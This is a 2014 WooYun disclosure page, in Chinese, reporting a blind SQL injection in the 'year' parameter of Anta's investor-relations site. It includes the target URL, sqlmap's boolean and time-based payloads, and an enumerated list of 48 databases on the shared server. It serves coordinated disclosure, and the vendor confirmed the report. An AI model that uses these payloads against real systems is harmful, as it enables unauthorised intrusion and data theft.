当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051621

漏洞标题:安踏SQL注入漏洞可影响多个站点

相关厂商:anta.com

漏洞作者: Mr .LZH

提交时间:2014-02-26 17:46

修复时间:2014-04-12 17:48

公开时间:2014-04-12 17:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-26: 细节已通知厂商并且等待厂商处理中
2014-02-27: 厂商已经确认,细节仅向厂商公开
2014-03-09: 细节向核心白帽子及相关领域专家公开
2014-03-19: 细节向普通白帽子公开
2014-03-29: 细节向实习白帽子公开
2014-04-12: 细节向公众公开

简要描述:

安踏sql注入点,多个系统公用一数据库服务器。

详细说明:

注入点:http://ir.anta.com/tc/home.php?option=3&id=4&Itemid=3&year=2007
注入参数:year
注入类型:盲注
获取数据库:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: year
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: option=3&id=4&Itemid=3&year=2013' AND 3034=3034 AND 'cyAG'='cyAG
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: option=3&id=4&Itemid=3&year=2013' AND SLEEP(5) AND 'bHkW'='bHkW
---
available databases [48]:
[*] aastocks_db
[*] bboard
[*] bboard2
[*] bboard2_20101231
[*] chinastarch1
[*] cks
[*] cks_new
[*] community
[*] community_20101231
[*] doubleindex
[*] ginsengnatural
[*] hds
[*] hds_2009
[*] information_schema
[*] kotocms003
[*] kotoportal003
[*] l_xingyecopper
[*] mh
[*] midea
[*] mysql
[*] mysql_old
[*] new-ray
[*] newworld
[*] newworld_20131210
[*] ntop
[*] onlinereport
[*] performance_schema
[*] report
[*] samkadm_cms
[*] smart_xtep
[*] smart_xtep_20100106
[*] snowkiss
[*] tdn
[*] test
[*] tomocms
[*] tomocms2
[*] tomocms2_center
[*] tomocms2_cn
[*] tomocms2_export
[*] tomocms2_my
[*] tomocms2_restore
[*] tomocms2_sg
[*] tomocms2_tw
[*] tomocms2copy
[*] view_db
[*] web2project
[*] wordpress
[*] xinhuapinmei


看到这么多数据库,吓了一跳,于是查找信息,根据其他信息,知道http://www.anta.com.cn/tc/home.php和http://ir.anta.com/tc/home.php是一样的,主域名下挂的系统数据库也是放在这里,数据库存放有多个系统的数据信息,只有一个系统出现漏洞,可危及到其他系统.没错的话,商城的数据库也在这里,和钱打交道的,危险性很高。
数据库用户权限比较大,拿下shell和服务器不是难事。
安全测试,就此停止。

漏洞证明:

QQ截图20140221163106.jpg


QQ截图20140221161611.jpg


QQ截图20140221161546.jpg


修复方案:

过滤。
看安踏给rank都比较少,礼物也不发了,桑心。

版权声明:转载请注明来源 Mr .LZH@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-02-27 09:15

厂商回复:

感谢关注安踏的信息安全,问题跟进中。

最新状态:

暂无